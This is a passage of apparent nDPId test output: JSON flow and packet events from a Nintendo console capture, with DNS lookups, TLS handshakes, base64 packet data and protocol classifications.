+00486{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":138,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731340,"pkt_ts_usec":942177,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"AA6OGXEMfLuKifuECABFAABcEY0AAEARLg\/AqAxyI55KPdprgjcASL\/4MquYZAEBAADlTwAACP0AEAAAAAAAZU1IBAAAAwAAAABOQVRUZXN0SWRfRHVtbXkAdr5X4NIRIiw3Gy5kQ0UkeA=="} +00485{"flow_id":12,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":139,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731340,"pkt_ts_usec":946396,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"AA6OGXEMfLuKifuECABFAABcEY4AAEARLg7AqAxyI55KPdprgjcASL\/4MquYZAEBAADlTwAACP0AEAAAAAAAZU1IBAAAAwAAAABOQVRUZXN0SWRfRHVtbXkAdr5X4NIRIiw3Gy5kQ0UkeA=="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":140,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1500731340951,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"192.168.12.1","src_port":10184,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00462{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":140,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731340,"pkt_ts_usec":951426,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"AA6OGXEMfLuKifuECABFAABOEY8AAEARz0zAqAxywKgMASfIADUAOkdJMLcBAAABAAAAAAAADWcyZGYzM2QwMS1scDEBcANzcnYIbmludGVuZG8DbmV0AAAcAAE="} +00655{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":140,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1500731340951,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"192.168.12.1","src_port":10184,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Nintendo","breed":"Fun","category":"Game"},"dns": {"query":"g2df33d01-lp1.p.srv.nintendo.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00462{"flow_id":13,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":141,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731340,"pkt_ts_usec":951573,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"fLuKifuEAA6OGXEMCABFAABON9pAAEARaQHAqAwBwKgMcgA1J8gAOsbIMLeBgAABAAAAAAAADWcyZGYzM2QwMS1scDEBcANzcnYIbmludGVuZG8DbmV0AAAcAAE="} +00676{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":141,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":2,"flow_first_seen":1500731340951,"flow_last_seen":1500731340951,"flow_tot_l4_data_len":116,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"192.168.12.1","src_port":10184,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Nintendo","breed":"Fun","category":"Game"},"dns": {"query":"g2df33d01-lp1.p.srv.nintendo.net","num_queries":1,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00462{"flow_id":13,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":142,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731340,"pkt_ts_usec":956365,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"AA6OGXEMfLuKifuECABFAABOEZAAAEARz0vAqAxywKgMASfIADUAOpTc4z4BAAABAAAAAAAADWcyZGYzM2QwMS1scDEBcANzcnYIbmludGVuZG8DbmV0AAABAAE="} +00675{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":142,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":3,"flow_first_seen":1500731340951,"flow_last_seen":1500731340956,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"192.168.12.1","src_port":10184,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Nintendo","breed":"Fun","category":"Game"},"dns": {"query":"g2df33d01-lp1.p.srv.nintendo.net","num_queries":1,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00484{"flow_id":13,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":143,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731340,"pkt_ts_usec":956495,"pkt_caplen":108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":108,"pkt_l4_len":74,"pkt":"fLuKifuEAA6OGXEMCABFAABeN9tAAEARaPDAqAwBwKgMcgA1J8gASlG34z6BgAABAAEAAAAADWcyZGYzM2QwMS1scDEBcANzcnYIbmludGVuZG8DbmV0AAABAAHADAABAAEAAAC1AAQ0Cs2x"} +00681{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":143,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":4,"flow_first_seen":1500731340951,"flow_last_seen":1500731340956,"flow_tot_l4_data_len":248,"flow_min_l4_data_len":58,"flow_max_l4_data_len":74,"flow_avg_l4_data_len":62,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"192.168.12.1","src_port":10184,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Nintendo","breed":"Fun","category":"Game"},"dns": {"query":"g2df33d01-lp1.p.srv.nintendo.net","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"52.10.205.177"}} +00462{"flow_id":13,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":144,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731340,"pkt_ts_usec":961569,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"AA6OGXEMfLuKifuECABFAABOEZEAAEARz0rAqAxywKgMASfIADUAOtIHpfgBAAABAAAAAAAADWcyZGYzM2QwMS1scDEBcANzcnYIbmludGVuZG8DbmV0AAAcAAE="} +00682{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":144,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":5,"flow_first_seen":1500731340951,"flow_last_seen":1500731340961,"flow_tot_l4_data_len":306,"flow_min_l4_data_len":58,"flow_max_l4_data_len":74,"flow_avg_l4_data_len":61,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"192.168.12.1","src_port":10184,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Nintendo","breed":"Fun","category":"Game"},"dns": {"query":"g2df33d01-lp1.p.srv.nintendo.net","num_queries":1,"num_answers":1,"reply_code":0,"query_type":28,"rsp_type":1,"rsp_addr":"52.10.205.177"}} +00463{"flow_id":13,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":145,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731340,"pkt_ts_usec":961674,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"fLuKifuEAA6OGXEMCABFAABON9xAAEARaP\/AqAwBwKgMcgA1J8gAOlGHpfiBgAABAAAAAAAADWcyZGYzM2QwMS1scDEBcANzcnYIbmludGVuZG8DbmV0AAAcAAE="} +00682{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":145,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":6,"flow_first_seen":1500731340951,"flow_last_seen":1500731340961,"flow_tot_l4_data_len":364,"flow_min_l4_data_len":58,"flow_max_l4_data_len":74,"flow_avg_l4_data_len":60,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"192.168.12.1","src_port":10184,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Nintendo","breed":"Fun","category":"Game"},"dns": {"query":"g2df33d01-lp1.p.srv.nintendo.net","num_queries":1,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":1,"rsp_addr":"52.10.205.177"}} +00462{"flow_id":13,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":146,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731340,"pkt_ts_usec":966394,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"AA6OGXEMfLuKifuECABFAABOEZIAAEARz0nAqAxywKgMASfIADUAOq1Lys8BAAABAAAAAAAADWcyZGYzM2QwMS1scDEBcANzcnYIbmludGVuZG8DbmV0AAABAAE="} +00484{"flow_id":13,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":147,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731340,"pkt_ts_usec":966499,"pkt_caplen":108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":108,"pkt_l4_len":74,"pkt":"fLuKifuEAA6OGXEMCABFAABeN91AAEARaO7AqAwBwKgMcgA1J8gASmomys+BgAABAAEAAAAADWcyZGYzM2QwMS1scDEBcANzcnYIbmludGVuZG8DbmV0AAABAAHADAABAAEAAAC1AAQ0Cs2x"} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":148,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1500731340981,"flow_last_seen":0,"flow_tot_l4_data_len":264,"flow_min_l4_data_len":264,"flow_max_l4_data_len":264,"flow_avg_l4_data_len":264,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"52.10.205.177","src_port":55915,"dst_port":34343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00760{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":148,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731340,"pkt_ts_usec":981415,"pkt_caplen":298,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":298,"pkt_l4_len":264,"pkt":"AA6OGXEMfLuKifuECABFAAEcEZMAAEARmWjAqAxyNArNsdprhicBCL5GMquYZAEAAADlcwAACAAA0AAAAAAAZU1IgACGJwAAAAAPAPz\/AL\/\/\/\/\/\/\/\/\/\/\/\/\/\/DNhnHrgUDeqh96EJudpqr7HTWmwuyiNXAoN8EJ3L9Q9lPi1doyYlmiR\/kIBcOYNG3f6ClDHLwoaKdMh+FYL2YCHItfujH2Z4qGo8CMfrSTput8A2wWQpgkAxBIJe0WvlOjtOpz1+6kpnOg7dok0TGK81\/aeKZUUCJvuan8vMhErLm0XKEN1cWoDxH\/OLKVz5pN4b+BSPCYy59gluv93Pq8HtsFMIvC\/lWp43XhLEF2IUu226gZ0swWlxHUEiaoKOkMwyqhQOw2nawlxv1+4u7w=="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":151,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1500731341194,"flow_last_seen":0,"flow_tot_l4_data_len":76,"flow_min_l4_data_len":76,"flow_max_l4_data_len":76,"flow_avg_l4_data_len":76,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"192.168.12.1","src_port":51035,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":151,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731341,"pkt_ts_usec":194858,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"AA6OGXEMfLuKifuECABFAABgEZUAAEARzzTAqAxywKgMAcdbADUATDXVYWkBAAABAAAAAAAAIGUwZDY3YzUwOWZiMjAzODU4ZWJjYjJmZTNmODhjMmFhBGJhYXMIbmludGVuZG8DY29tAAABAAE="} +00721{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":151,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1500731341194,"flow_last_seen":0,"flow_tot_l4_data_len":76,"flow_min_l4_data_len":76,"flow_max_l4_data_len":76,"flow_avg_l4_data_len":76,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"192.168.12.1","src_port":51035,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"DNS.Nintendo","breed":"Fun","category":"Game"},"dns": {"query":"e0d67c509fb203858ebcb2fe3f88c2aa.baas.nintendo.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00718{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":152,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731341,"pkt_ts_usec":194969,"pkt_caplen":281,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":281,"pkt_l4_len":247,"pkt":"fLuKifuEAA6OGXEMCABFAAELN\/tAAEARaCPAqAwBwKgMcgA1x1sA9yl7YWmBgAABAAkAAAAAIGUwZDY3YzUwOWZiMjAzODU4ZWJjYjJmZTNmODhjMmFhBGJhYXMIbmludGVuZG8DY29tAAABAAHADAAFAAEAAAAPAB8OZDNmdGhwdnY3Znp4MDAKY2xvdWRmcm9udANuZXQAwFAAAQABAAAALQAENsAbCMBQAAEAAQAAAC0ABDbAG2jAUAABAAEAAAAtAAQ2wBuuwFAAAQABAAAALQAENsAbSsBQAAEAAQAAAC0ABDbAG1HAUAABAAEAAAAtAAQ2wBsnwFAAAQABAAAALQAENsAbxMBQAAEAAQAAAC0ABDbAG9k="} +00748{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":152,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":2,"flow_first_seen":1500731341194,"flow_last_seen":1500731341194,"flow_tot_l4_data_len":323,"flow_min_l4_data_len":76,"flow_max_l4_data_len":247,"flow_avg_l4_data_len":161,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"192.168.12.1","src_port":51035,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"DNS.Nintendo","breed":"Fun","category":"Game"},"dns": {"query":"e0d67c509fb203858ebcb2fe3f88c2aa.baas.nintendo.com","num_queries":1,"num_answers":9,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"54.192.27.8"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":153,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1500731341201,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"54.192.27.8","src_port":31329,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":153,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731341,"pkt_ts_usec":201471,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AA6OGXEMfLuKifuECABFAAA8EZZAAEAGCkTAqAxyNsAbCHphAbtX9RrxAAAAAKACgAAP+wAAAgQFUAEDAwYEAggKABqqagAAAAA="} +00439{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":154,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731341,"pkt_ts_usec":241134,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"fLuKifuEAA6OGXEMCABFAAA8AABAAPUGZtk2wBsIwKgMcgG7emF9lpyBV\/Ua8qAScSBo2gAAAgQFrAQCCAqoOPNAABqqagEDAwg="} +00426{"flow_id":16,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":155,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731341,"pkt_ts_usec":242243,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OGXEMfLuKifuECABFAAA0EZdAAEAGCkvAqAxyNsAbCHphAbtX9RryfZacgoAQAg4GiQAAAQEICgAaqpOoOPNA"} +00716{"flow_id":16,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":156,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731341,"pkt_ts_usec":246098,"pkt_caplen":278,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":278,"pkt_l4_len":244,"pkt":"AA6OGXEMfLuKifuECABFAAEIEZhAAEAGCXbAqAxyNsAbCHphAbtX9RryfZacgoAYAg5SDAAAAQEICgAaqpeoOPNAFgMBAM8BAADLAwNvKK+fQ4F0D04V95LMArBCLWBC88S5\/t3m1SoEKefZLwAANMArwC\/MqcyowArACcATwCPAJ8AUAJ7MqgAzADIAZwA5ADgAawAWABMAnAAvADwANQA9AAoBAABuAAAANwA1AAAyZTBkNjdjNTA5ZmIyMDM4NThlYmNiMmZlM2Y4OGMyYWEuYmFhcy5uaW50ZW5kby5jb23\/AQABAAAKAAgABgAXABgAGQALAAIBAAANABgAFgQBBQEGAQIBBAMFAwYDAgMFAgQCAgI="} +00793{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":156,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":4,"flow_first_seen":1500731341201,"flow_last_seen":1500731341246,"flow_tot_l4_data_len":356,"flow_min_l4_data_len":32,"flow_max_l4_data_len":244,"flow_avg_l4_data_len":89,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"54.192.27.8","src_port":31329,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Nintendo","breed":"Fun","category":"Game"},"tls": {"version":"TLSv1.2","client_requested_server_name":"e0d67c509fb203858ebcb2fe3f88c2aa.baas.nintendo.com","ja3":"200a99534ce50d35cf40cc3cce4c69b5","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00427{"flow_id":16,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":157,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731341,"pkt_ts_usec":283400,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"fLuKifuEAA6OGXEMCABFAAA0b8ZAAPUG9xo2wBsIwKgMcgG7emF9lpyCV\/UbxoAQAHYHRQAAAQEICqg480QAGqqX"} +02242{"flow_id":16,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":158,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731341,"pkt_ts_usec":285479,"pkt_caplen":1414,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1414,"pkt_l4_len":1380,"pkt":"fLuKifuEAA6OGXEMCABFAAV4b8dAAPUG8dU2wBsIwKgMcgG7emF9lpyCV\/UbxoAQAHbY8QAAAQEICqg480UAGqqXFgMDAD0CAAA5AwPGsxfaTPmNDIPpai2fPswQ2J\/UcKw+2HDRhcyzY86OawDALwAAEQAAAAD\/AQABAAALAAQDAAECFgMDCiMLAAofAAocAAVhMIIFXTCCBEWgAwIBAgIQDLc1747+ClgENzVweZfUazANBgkqhkiG9w0BAQsFADBwMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMS8wLQYDVQQDEyZEaWdpQ2VydCBTSEEyIEhpZ2ggQXNzdXJhbmNlIFNlcnZlciBDQTAeFw0xNTA4MTIwMDAwMDBaFw0xODA4MTUxMjAwMDBaMGwxCzAJBgNVBAYTAkpQMQ4wDAYDVQQIEwVLeW90bzESMBAGA1UEBxMJTWluYW1pLWt1MRswGQYDVQQKExJOaW50ZW5kbyBDby4sIEx0ZC4xHDAaBgNVBAMMEyouYmFhcy5uaW50ZW5kby5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDvHjYnPMnI2ujzXQAv\/sZxCk+hQZpiH3YoETjk178sWENTpRVgts\/jLXVmbHrGT698SwHvquQeXNwWukIrOvm4DAUPCajA\/n4RTGKZuf25A7FJg4QwmPGkNBT5ZnZYSKZ772lzG8kPmd0J24gWhHsMNI0dGJ6erGXqXyKCNvV9YzAQR6s25oxroIexQOJX8an2kNoKqU\/tH4oiV6cwV13ckquhdw5vWG8arhUtkAPx4BGUNGdlWycRarCBNjoBZJa\/doJww7Oy3hYAO1ZzIUNn2LOCagw+nvuonYEMURa3Yu1Lb7wKO7GGgesAIj3vHSHW5YgsE1p6HxpmLHypxKdpAgMBAAGjggH1MIIB8TAfBgNVHSMEGDAWgBRRaP+QrwIHdTzM2WVkYqISuFlyOzAdBgNVHQ4EFgQUGvBqzm9IwlKorGDLeRMLmrRo35wwMQYDVR0RBCowKIITKi5iYWFzLm5pbnRlbmRvLmNvbYIRYmFhcy5uaW50ZW5kby5jb20wDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjB1BgNVHR8EbjBsMDSgMqAwhi5odHRwOi8vY3JsMy5kaWdpY2VydC5jb20vc2hhMi1oYS1zZXJ2ZXItZzQuY3JsMDSgMqAwhi5odHRwOi8vY3JsNC5kaWdpY2VydC5jb20vc2hhMi1oYS1zZXJ2ZXItZzQuY3JsMEIGA1UdIAQ7MDkwNwYJYIZIAYb9bAEBMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwgYMGCCsGAQUFBwEBBHcwdTAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tME0GCCsGAQUFBzAChkFodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRTSEEySGlnaEFzc3VyYW5jZVNlcnZlckNBLmNydDAMBgNVHRMBAf8EAjAAMA0GCSqGSIb3DQEBCwUAA4IBAQCJth37waS4Si9TQGlnGGn1WoNGtRxjm1QsN0jByiblqEr1PJvHe8vw0GiV\/FkL6BgTU30mhllRJMjXyh7qD6zKzvx3821ERVhWVr3GW6Ldzug1ARTxDCpdgt4B87Jlaw7KQTtJOhBp0SPrUlW8z4JtpunQ5u8gjPeEjAJtfkl5tnZJoR6sZl0W2oPnYLRon1vKEQ=="} +00850{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":158,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":6,"flow_first_seen":1500731341201,"flow_last_seen":1500731341285,"flow_tot_l4_data_len":1768,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1380,"flow_avg_l4_data_len":294,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"54.192.27.8","src_port":31329,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Nintendo","breed":"Fun","category":"Game"},"tls": {"version":"TLSv1.2","client_requested_server_name":"e0d67c509fb203858ebcb2fe3f88c2aa.baas.nintendo.com","ja3":"200a99534ce50d35cf40cc3cce4c69b5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"}} +02250{"flow_id":16,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":159,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731341,"pkt_ts_usec":285901,"pkt_caplen":1414,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1414,"pkt_l4_len":1380,"pkt":"fLuKifuEAA6OGXEMCABFAAV4b8hAAPUG8dQ2wBsIwKgMcgG7emF9lqHGV\/UbxoAQAHaJ5gAAAQEICqg480UAGqqXwWVN09\/JHkCExegWcqI2X92ZdX4kd4jK9pLC6LVSz7jb4M7TG+rK49YI5tz+s5wIo89iOCp8YIohDwbQ96O4l6gvBuqUMxXSVwQrx3Pv7L2IHcrGK8yWgWnVLBXqgxVvDzIhziar2VoBwrae5tUABLUwggSxMIIDmaADAgECAhAE4eek3Fzy823AK0K4XRWfMA0GCSqGSIb3DQEBCwUAMGwxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xKzApBgNVBAMTIkRpZ2lDZXJ0IEhpZ2ggQXNzdXJhbmNlIEVWIFJvb3QgQ0EwHhcNMTMxMDIyMTIwMDAwWhcNMjgxMDIyMTIwMDAwWjBwMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMS8wLQYDVQQDEyZEaWdpQ2VydCBTSEEyIEhpZ2ggQXNzdXJhbmNlIFNlcnZlciBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALbgL8IkBshtBF\/X7wpkBrJ9IiZlFq5CQJvO3J+fdgc+wzBVhxm5T5QOWpQfVVa0wgIqr9CY7gtA18TQO3LIFJ7vkLERqa7SyLhDOtkLC9XVlfVAr8gd7U2cX1e3hlBomfWK2tLHBR+ol8ncpLGChC3GraWcxxmCpoUPXkRYKjeP\/TXxCwgnMlr1u4uepL1R0Cfi3TtCM6MFKMS7KMyarCsjDXjGe+ZecbdKPgj7gbcWFqGdIxJN5deSCKx1pJy6zReyHkQ1ZX9TJTnRHAqaYxsZknRoCjfCwlJIyzlaorbhXcHdoCC4IaKTJm8USiFBx+1tm\/JIL\/MD9aJoklMvXuMCAwEAAaOCAUkwggFFMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBLBgNVHR8ERDBCMECgPqA8hjpodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vRGlnaUNlcnRIaWdoQXNzdXJhbmNlRVZSb290Q0EuY3JsMD0GA1UdIAQ2M